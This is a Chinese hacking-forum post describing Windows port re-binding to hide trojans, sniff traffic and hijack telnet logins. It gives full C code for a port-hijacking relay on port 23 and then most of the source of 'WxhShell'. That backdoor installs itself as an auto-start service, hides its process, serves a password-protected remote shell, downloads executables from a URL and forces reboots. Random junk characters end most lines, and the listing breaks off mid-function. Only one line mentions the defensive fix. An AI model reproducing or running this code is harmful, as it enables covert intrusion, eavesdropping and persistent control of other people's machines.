社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17201阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M\C9^DX{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iY,C0=n5Y  
112 WryS  
  saddr.sin_family = AF_INET; E+@Q u "W  
^?`fN'!p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (BVqmi{  
t<p#u=jOa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K {' atc  
[Y .8C$0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mrP48#Y+l  
Xfq`k/ W  
  这意味着什么?意味着可以进行如下的攻击: <eG|`  
0+FPAqX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Svn7.Ivep  
\34vE@V*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]!B0= XP  
3U@jw,K!{A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  TUcFx_  
L7C ;l,ot  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c| ^I}  
nHdQe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T7 ,]^ 1  
dw"Es;^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =GX5T(P8k  
fs 'SCwx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &j F'2D^_  
hu}$\  
  #include !/XNpQP  
  #include w.?4}'DK  
  #include 6nW)2LV  
  #include    F/s n"2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H0afu)$,  
  int main() fvC,P#z'|  
  { Pao^>rj  
  WORD wVersionRequested; _Vr- bpAf  
  DWORD ret; Ou_H&R  
  WSADATA wsaData; .Fo#Dmq3  
  BOOL val; ( eTrqI`  
  SOCKADDR_IN saddr; -#|;qFD]  
  SOCKADDR_IN scaddr; *:n~j9V-  
  int err; 7?Wte&C];p  
  SOCKET s; Z}+}X|  
  SOCKET sc; \?xM% (:<Q  
  int caddsize; :<J7g`f  
  HANDLE mt; )^ah, ;(  
  DWORD tid;   m)Plv+R}  
  wVersionRequested = MAKEWORD( 2, 2 ); FH,]'  
  err = WSAStartup( wVersionRequested, &wsaData ); DSU8jnrL  
  if ( err != 0 ) { YRu@; `  
  printf("error!WSAStartup failed!\n"); 2RkW/) A9  
  return -1; B0@ Tz39=  
  } tMxd e+ $y  
  saddr.sin_family = AF_INET; S<0 &V  
   (7Z+De?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8o~ NJ 6  
` B)@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *S,~zOYN  
  saddr.sin_port = htons(23); b#_RZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dQ`Tt- n  
  { 28!C#.(h  
  printf("error!socket failed!\n"); N:lfKI  
  return -1; 5CY%h  
  } sW]_Ky.]  
  val = TRUE; vX JPvh<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ot}erC2~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q1}!Okr"2  
  { _?~%+Oz/  
  printf("error!setsockopt failed!\n"); =]7o+L4  
  return -1; *] i hc u  
  } Ob$``31{s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N"70P/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  !VGG2N8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l\UjvG  
S/]\GG{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [HILK `@@  
  {  2v{WX  
  ret=GetLastError(); meX2Y;  
  printf("error!bind failed!\n"); z< %P"   
  return -1; "hk# pQ  
  } luoQ#1F?sl  
  listen(s,2); 1VJ${\H]  
  while(1) ^ij0<*ca9  
  { f$lb.fy5  
  caddsize = sizeof(scaddr); hYJzF.DW<$  
  //接受连接请求 8b/$Qp4d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J"r?F0  
  if(sc!=INVALID_SOCKET)  *&_*G~>D  
  { <],{at` v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cH5i420;aO  
  if(mt==NULL) 7e"}ojt$  
  { N~)-\T:ap  
  printf("Thread Creat Failed!\n"); rFXdxRP;M  
  break; @c|=onx5  
  } AB3_|Tza~&  
  } ?ko#N?hgI  
  CloseHandle(mt); y7HFmGM  
  } Os9SfL  
  closesocket(s); xC)bW,%  
  WSACleanup(); z CLaHx!  
  return 0; V*?cMJ_G  
  }   Q#g`D,:o%~  
  DWORD WINAPI ClientThread(LPVOID lpParam) KF rsXf  
  { +CSpL2@  
  SOCKET ss = (SOCKET)lpParam; F6\{gQ<E  
  SOCKET sc; aXe&c^AR  
  unsigned char buf[4096]; #h;   
  SOCKADDR_IN saddr; {)" 3  
  long num; MPB[~#:  
  DWORD val; -@>{q/  
  DWORD ret; #UM,)bH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #T7v]@K67  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rS1gFGrj  
  saddr.sin_family = AF_INET; =KPmZ,/w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5H3o?x   
  saddr.sin_port = htons(23); Z)rW>I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 't<iB&wgF  
  { A]BeI  
  printf("error!socket failed!\n"); tT]@yo|?e/  
  return -1; f{9+,z   
  } 5%,3)H{;t  
  val = 100; Zl>SeTjB-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I}8e"#  
  { LK'(OZ  
  ret = GetLastError(); Q>1BOH1by  
  return -1; iYXD }l;r  
  } rNN>tpZ}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T<]{:\*n  
  { \[G'cE  
  ret = GetLastError(); :C5w5 Vnj  
  return -1; mb*Yw 6q  
  } s$fM,l:!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o0r&w;!  
  { k{*EoV[.$  
  printf("error!socket connect failed!\n"); #BRIp(65-6  
  closesocket(sc); 1< !P:@(  
  closesocket(ss);  +/B  
  return -1; v H HgZ  
  } Z %pc"  
  while(1) 6))":<J  
  { n.+*_c8k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S#ryEgc]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jh+;+"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eT%x(P  
  num = recv(ss,buf,4096,0); &4%pPL\f  
  if(num>0) R}oN8  
  send(sc,buf,num,0); >LPb>t5%p  
  else if(num==0) 7-S?RU]g  
  break; +yL;?+s>=  
  num = recv(sc,buf,4096,0); ^wy  
  if(num>0) 6mcb'hy  
  send(ss,buf,num,0); )G48,. "  
  else if(num==0) czRBuo+k+  
  break; Z `F[0-  
  } Luao?;|U  
  closesocket(ss); EZ!! V~  
  closesocket(sc); Hzz{wY   
  return 0 ; C^q|(G)  
  } $:s@nKgnD~  
KR.;X3S}  
L@Rgiq|v-|  
========================================================== x}2nn)fdZ  
e=LrgRy+  
下边附上一个代码,,WXhSHELL 99OZK  
M7BpOmK'  
========================================================== O/eZ1YAC  
4&E"{d >  
#include "stdafx.h" (^yaAy#4  
_`gF%$]b  
#include <stdio.h> 7~2_'YX>:  
#include <string.h> ij]UAJ}t  
#include <windows.h> 'bbw0aB4  
#include <winsock2.h> ]*NYuEgc  
#include <winsvc.h> C).\ J !  
#include <urlmon.h> {/noYB<;  
Hec8pL  
#pragma comment (lib, "Ws2_32.lib") #JYl%=#,  
#pragma comment (lib, "urlmon.lib") &l cfX\y  
"e-z 2G@z  
#define MAX_USER   100 // 最大客户端连接数 .$~3RjM  
#define BUF_SOCK   200 // sock buffer cK|Uwzif d  
#define KEY_BUFF   255 // 输入 buffer M2%@bETJ  
TX5??o  
#define REBOOT     0   // 重启 /J^dz vH  
#define SHUTDOWN   1   // 关机 <HnJD/g  
@*rMMy 4  
#define DEF_PORT   5000 // 监听端口 <^nS%hXEr  
]Q FI>  
#define REG_LEN     16   // 注册表键长度 ^.J_w  
#define SVC_LEN     80   // NT服务名长度 u""26k51  
`NhG|g  
// 从dll定义API R.i ]6H!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (pH)QG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ as,AX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E$lbm>jsb$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bF9.k  
}S iR;2W  
// wxhshell配置信息 r?)1)?JnHe  
struct WSCFG { .]E"w9~  
  int ws_port;         // 监听端口 l|+$4 Nb2  
  char ws_passstr[REG_LEN]; // 口令 xqSZ {E:  
  int ws_autoins;       // 安装标记, 1=yes 0=no = V')}f~C  
  char ws_regname[REG_LEN]; // 注册表键名 ~AWn 1vFc  
  char ws_svcname[REG_LEN]; // 服务名 aMu6{u6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W7C1\'T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lvt3S .l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vcW(?4e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5~pxu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =m<b+@?T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wx}-H/t'2  
>Ec;6V e  
}; 2aTq?ZR|8A  
nYyKz Rz  
// default Wxhshell configuration ##By!F TP  
struct WSCFG wscfg={DEF_PORT, ku/vV+&O  
    "xuhuanlingzhe", 7/M[T\c  
    1, 0vEQgx>  
    "Wxhshell", &@xm< A\S  
    "Wxhshell", X\BFvSv8C  
            "WxhShell Service", U;kN o3=  
    "Wrsky Windows CmdShell Service", @u$NB3  
    "Please Input Your Password: ", V.8Vy1$  
  1, xj D$i'V+  
  "http://www.wrsky.com/wxhshell.exe", 1 jLQij  
  "Wxhshell.exe" !d 4DTo  
    }; fP 3eR>e  
Vk`Uz1*  
// 消息定义模块 ,f%4xXI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,2U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k]AL\) &W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EPwU{*F  
char *msg_ws_ext="\n\rExit."; N G vb]  
char *msg_ws_end="\n\rQuit."; 8 # BR\  
char *msg_ws_boot="\n\rReboot..."; -+i7T^@|  
char *msg_ws_poff="\n\rShutdown..."; cjtcEW  
char *msg_ws_down="\n\rSave to "; L{1[:a)']B  
;TC]<N.YJT  
char *msg_ws_err="\n\rErr!"; >mtwXmI  
char *msg_ws_ok="\n\rOK!"; Vug[q=i  
%qqCpg4  
char ExeFile[MAX_PATH]; uzb|yV'B  
int nUser = 0; KXz7l\1Gb  
HANDLE handles[MAX_USER]; pub?%  
int OsIsNt; p9u'nDi  
2cIKph  
SERVICE_STATUS       serviceStatus; )rAJ>;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wq5}LO)  
$0un`&W  
// 函数声明 tCGx]\  
int Install(void); EStui>ho  
int Uninstall(void); N!wuBRWR  
int DownloadFile(char *sURL, SOCKET wsh); JsuI&v  
int Boot(int flag); }mIN)o  
void HideProc(void); TecMQ0 KD  
int GetOsVer(void); IvY3iRq6  
int Wxhshell(SOCKET wsl); w%X@os}E  
void TalkWithClient(void *cs); OgC,oj,!/  
int CmdShell(SOCKET sock); n=F rv*"Z  
int StartFromService(void); ^ +@OiL>&i  
int StartWxhshell(LPSTR lpCmdLine); HQ7g0:-^a>  
lz<' L. .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C#yRop_d]o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bolG3Tf|  
b6Z3(!] ]  
// 数据结构和表定义 -LUZ7,!/>o  
SERVICE_TABLE_ENTRY DispatchTable[] = } S]!W\a  
{ >1Hv c7DP  
{wscfg.ws_svcname, NTServiceMain}, |&W4Dk n  
{NULL, NULL} 'xG J;pY  
}; 4Otq3s34FT  
DQP!e6Of  
// 自我安装 5XB]p|YU~s  
int Install(void) QKq4kAaJ!  
{ /^k%sG@?  
  char svExeFile[MAX_PATH]; 3c,4 wyn  
  HKEY key; Y~{<Hs  
  strcpy(svExeFile,ExeFile); U!uJ)mm  
"9QZX[J|*  
// 如果是win9x系统,修改注册表设为自启动 [r3sk24  
if(!OsIsNt) { vWM&4|Q1~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $':5uU1}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6D2ot&5WW  
  RegCloseKey(key); Z4As'al  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D&ua A-;s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @{_X@Wv4iV  
  RegCloseKey(key); a:UkVK]MP  
  return 0; )AR- b8..o  
    } fmQif]J;;  
  } T$R#d&t  
} UF-'(  
else { _D?/$D7u#%  
,VEE<* 'X  
// 如果是NT以上系统,安装为系统服务 ~1}fL 1~5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r2'K'?T3  
if (schSCManager!=0) YsVKdh  
{ 7 L ,`7k|  
  SC_HANDLE schService = CreateService JeNX5bXW  
  ( %$Py@g  
  schSCManager, V?"U)Y@Y  
  wscfg.ws_svcname, w+*rbJ  
  wscfg.ws_svcdisp, 6|f8DX%3V  
  SERVICE_ALL_ACCESS, 8,[ *BgeX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]S@T|08b  
  SERVICE_AUTO_START, @ %L  
  SERVICE_ERROR_NORMAL, W5Pur lu?  
  svExeFile, aZ\Z7(  
  NULL, >yn]h4M  
  NULL, +2 oZML  
  NULL, JBJ?|}5k4c  
  NULL, Q$]1juqg  
  NULL sn^ 3xAF  
  ); oPaoQbR(A  
  if (schService!=0) \#w8~+`Gq  
  { Vn{;8hZ :a  
  CloseServiceHandle(schService); Pp69|lxV=k  
  CloseServiceHandle(schSCManager); &1^~G0 Rh\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ts@$*  
  strcat(svExeFile,wscfg.ws_svcname); L / WRVc6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BxlhCu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -UzWLVB^  
  RegCloseKey(key); z2,NWmP|w  
  return 0; 0Qvr g+  
    } Ps\4k#aOv  
  } Q{uO/6  
  CloseServiceHandle(schSCManager); 4f8XO"k7t=  
} y&8`NS#_p?  
} iWr #H  
lV 4TFt ,  
return 1; H\<0{#F  
} )T gfd5B  
dQ-g\]d|  
// 自我卸载 mSu$1m8  
int Uninstall(void) Zj ` ;IYFG  
{ cyHbAtl  
  HKEY key; i(.PkYkaq  
/`aPV"$M  
if(!OsIsNt) { <'sm($.2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W  wj+\  
  RegDeleteValue(key,wscfg.ws_regname); :]Om4Q\-#  
  RegCloseKey(key); )AdwA+-x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jR\ !2!  
  RegDeleteValue(key,wscfg.ws_regname); m3P7*S5NJ7  
  RegCloseKey(key); 4,X CbcC  
  return 0; 1)ij*L8k  
  } WpE "A  
} 4K`b?{){+a  
} KOXG=P0  
else { )*uotV  
'4u/g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @RuMo"js  
if (schSCManager!=0) `uusUw-Gf  
{ &LB`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xpuTh"ED  
  if (schService!=0) E U RKzJk  
  { $;=?[Cn  
  if(DeleteService(schService)!=0) { :ntAU2)H  
  CloseServiceHandle(schService); \k=%G_W  
  CloseServiceHandle(schSCManager); AFYdBK]  
  return 0; \' A- Lp  
  } ?g@X+!RB  
  CloseServiceHandle(schService); zYdieE\-  
  } !m'Rp~t  
  CloseServiceHandle(schSCManager); G O G[^T  
} ?-`&YfF  
} N;!!*3a9=  
W[Z[o+7pK  
return 1; /#eS3`48  
} &P35\q   
Q/j#Pst  
// 从指定url下载文件 +N2ILE8[<  
int DownloadFile(char *sURL, SOCKET wsh) 7o!t/WEEq  
{ xy&*s\=:  
  HRESULT hr; Rm$(X5x>o  
char seps[]= "/"; NzM,0q  
char *token; vAeVQ~  
char *file; e(b$LUV  
char myURL[MAX_PATH]; +eLL)uk  
char myFILE[MAX_PATH]; [Ran/D\.  
i=P}i8,^ =  
strcpy(myURL,sURL); w r,+9uK  
  token=strtok(myURL,seps); /!p}H'jl  
  while(token!=NULL) uocFOlU0n  
  { :1gpbfW  
    file=token; #RSUChe7w  
  token=strtok(NULL,seps); ?`kZ6$  
  } Vl<7>  
@uQ *$  
GetCurrentDirectory(MAX_PATH,myFILE); F1M:"-bda  
strcat(myFILE, "\\"); zq?xY`E  
strcat(myFILE, file); Q6 m.yds  
  send(wsh,myFILE,strlen(myFILE),0); 2 1+[9  
send(wsh,"...",3,0); T;PLUjp}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e$`hRZ%  
  if(hr==S_OK) Y!Io @{f  
return 0; `@0AGSzUv  
else MTNC{:Q  
return 1; ;3bUgI}.J  
]TcQGW@'  
} "i*gJFW|  
c"1Z,M;G  
// 系统电源模块 7+X~i@#rU  
int Boot(int flag) gMPp'^g]_  
{ V 7ZGT  
  HANDLE hToken; uNw9g<g:V[  
  TOKEN_PRIVILEGES tkp; > XM]UdP  
j}(m$j'  
  if(OsIsNt) { 42}8es.aa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J ^<uo (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HGd.meQ  
    tkp.PrivilegeCount = 1; C[#C/@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DpT$19Q+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^7=7V0>,:  
if(flag==REBOOT) { )DlKeiK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "{t]~urLd  
  return 0; Unb3 Gv#O  
} ~ ^   
else { 9ZY,T]ym?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @tD (<*f+  
  return 0; "J+4  
} gA@Zx%0j  
  } e :C4f  
  else { n"Bc2}{  
if(flag==REBOOT) { \ a(ce?C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S)4p'cUwq  
  return 0; (-&d0a9N  
} -R\dgS3  
else { YV@efPy}n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &%t&[Se_~  
  return 0; R-1MD  
} #reW)P>  
} V@ O)7ND  
6h %rt]g  
return 1; !H9^j6|  
} x',6VTz^  
pv-c>8Wb6  
// win9x进程隐藏模块 urCTP.F  
void HideProc(void) zEukEA^9`  
{ 8]R{5RGy  
#Q*V9kvU/H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _5x]BH6f  
  if ( hKernel != NULL ) ZKpJc'h  
  { CXyb8z4/+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K4YD}[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oVPr`]  
    FreeLibrary(hKernel); U/|JAg #  
  } fBv: TC%  
*)6\ V}`  
return; &;L=f;   
} s;* UP   
['sNk[-C  
// 获取操作系统版本 1<_/Qu>V  
int GetOsVer(void) )c'E9ZuZ>d  
{ H6|eUU[&  
  OSVERSIONINFO winfo; e t@:-}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 _MtmmL.  
  GetVersionEx(&winfo); e"NP]_vh,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BzO,(bd!PI  
  return 1; \hBzP^*"n  
  else YhS_ ,3E  
  return 0; Z*UVbyC  
} hh*('n>[  
tpO '<b  
// 客户端句柄模块 Z[ (d7  
int Wxhshell(SOCKET wsl) `M 'tuQ M  
{ e6J^J&`|4  
  SOCKET wsh; =y)K er  
  struct sockaddr_in client; ()O&O+R|)  
  DWORD myID; @|Yn~PwKs  
1 ptyiy  
  while(nUser<MAX_USER) LyWY\K a  
{ 0H_uxkB~  
  int nSize=sizeof(client); -GHd]7n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #RaqNu  
  if(wsh==INVALID_SOCKET) return 1; Y|Gp\  
xz.Jmv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vgD+Y   
if(handles[nUser]==0) 9q_{_%G%  
  closesocket(wsh); )OxcCV?5Z  
else Xo/H+[;X  
  nUser++; (tg9"C  
  } 1PUZB`"3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qxu3y+po]  
/w(g:e  
  return 0; iRlZWgj4^  
} >V27#L2:J  
}l[e@6r F  
// 关闭 socket f pq|mY  
void CloseIt(SOCKET wsh) $/ IFSB9  
{ /(51\RYkir  
closesocket(wsh); c$7~EP  
nUser--; .'<K$:8@|  
ExitThread(0); YI,t{Wy  
} m} s.a.x  
$6pLsX  
// 客户端请求句柄 F=1 #qo<?  
void TalkWithClient(void *cs) a{hc{  
{ M>p<1`t-&  
:,Y1#_\  
  SOCKET wsh=(SOCKET)cs; >L2_k'uE+;  
  char pwd[SVC_LEN]; 8{2  
  char cmd[KEY_BUFF]; ;..z)OP_  
char chr[1]; _ s3d$C?B  
int i,j; p8%qU>~+4  
e7xBi!I)~  
  while (nUser < MAX_USER) { k)S1Zs~G  
Q/ .LDye8  
if(wscfg.ws_passstr) { v>B412l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \?T9 v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dn 0L%?_   
  //ZeroMemory(pwd,KEY_BUFF); ckA\{v  
      i=0; \j62"  
  while(i<SVC_LEN) { {eaR,d~X  
In96H`  
  // 设置超时 =N\; ?eF(  
  fd_set FdRead; wPjq B{!Q  
  struct timeval TimeOut; Si?s69  
  FD_ZERO(&FdRead); K xX[8  
  FD_SET(wsh,&FdRead); l X+~;94  
  TimeOut.tv_sec=8; tSJ#  
  TimeOut.tv_usec=0; Nb&j?./  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?0qD(cfx<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /)Cfm1$ic  
e,e(t7c?d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D`a6D  
  pwd=chr[0]; |du%c`wl  
  if(chr[0]==0xd || chr[0]==0xa) { )0exGx+:  
  pwd=0; )/;+aDk  
  break; K_)~&Cu*'  
  } 1\m,8i+gU  
  i++; [:cD  
    } VGeTX 4h  
b},2A'X  
  // 如果是非法用户,关闭 socket 8O'bCBhv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y%i9 b&gDd  
} ITw *m3  
.))j R:{3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MOaI~xZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "@eGgQ  
yogavCD9b/  
while(1) { @c]KHWI  
0NU%z.(%s  
  ZeroMemory(cmd,KEY_BUFF); QX<n^W  
K'Ywv@  
      // 自动支持客户端 telnet标准   l2St)`K8  
  j=0; j9 >[^t3U  
  while(j<KEY_BUFF) { IAH"vHM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GLtWo+g0  
  cmd[j]=chr[0]; 1DB{"8ov  
  if(chr[0]==0xa || chr[0]==0xd) { 6^LXctW.  
  cmd[j]=0; B.r^'>jQ  
  break; Xs052c|s  
  } mBErU6?X,A  
  j++; t8-Nli*O  
    } 6v3l^~kc'  
?0/$RpFEM#  
  // 下载文件 ~ps,U  
  if(strstr(cmd,"http://")) { y<FC7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (uvQ/!  
  if(DownloadFile(cmd,wsh)) U_*, XLU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$D(Y`zdn  
  else B8Fb$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u @Ze@N%  
  } w UxFE=ia  
  else { A,_O=hA2I  
>whv*@Fr  
    switch(cmd[0]) { e n~m)r3&  
  wPM>-F  
  // 帮助 uM`i!7}  
  case '?': { Ih:Q}V#6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .b]s Q'  
    break; JI .=y5I  
  } .gg0rTf=-  
  // 安装 v=@y7P1  
  case 'i': { EU[eG^/0@  
    if(Install()) -fPiHKJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?-)!dl%N  
    else >*{k~Y-G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Y)2[j  
    break; h_(M#gG  
    } &'>m;W  
  // 卸载 S9l,P-X`  
  case 'r': { 1GK.:s6.f  
    if(Uninstall()) X=#us7W}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j2Dw7"f3  
    else v>wN O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d MR?pbD  
    break; R#hy2kA  
    } kC.!cPd  
  // 显示 wxhshell 所在路径 |qMG@  
  case 'p': { BjfVNF;hk:  
    char svExeFile[MAX_PATH]; ^ 4<D%\  
    strcpy(svExeFile,"\n\r"); /8e}c`  
      strcat(svExeFile,ExeFile); )=Z;H"_  
        send(wsh,svExeFile,strlen(svExeFile),0); S&}7XjY  
    break; F~6]II  
    } @\&j3A  
  // 重启 ;<garDf  
  case 'b': { Z}$sY>E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kaCN^yQ  
    if(Boot(REBOOT)) {ze69 h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $L= Dky7  
    else { lq:q0>vyI  
    closesocket(wsh); *gwaW!=  
    ExitThread(0); yo#r^iAr  
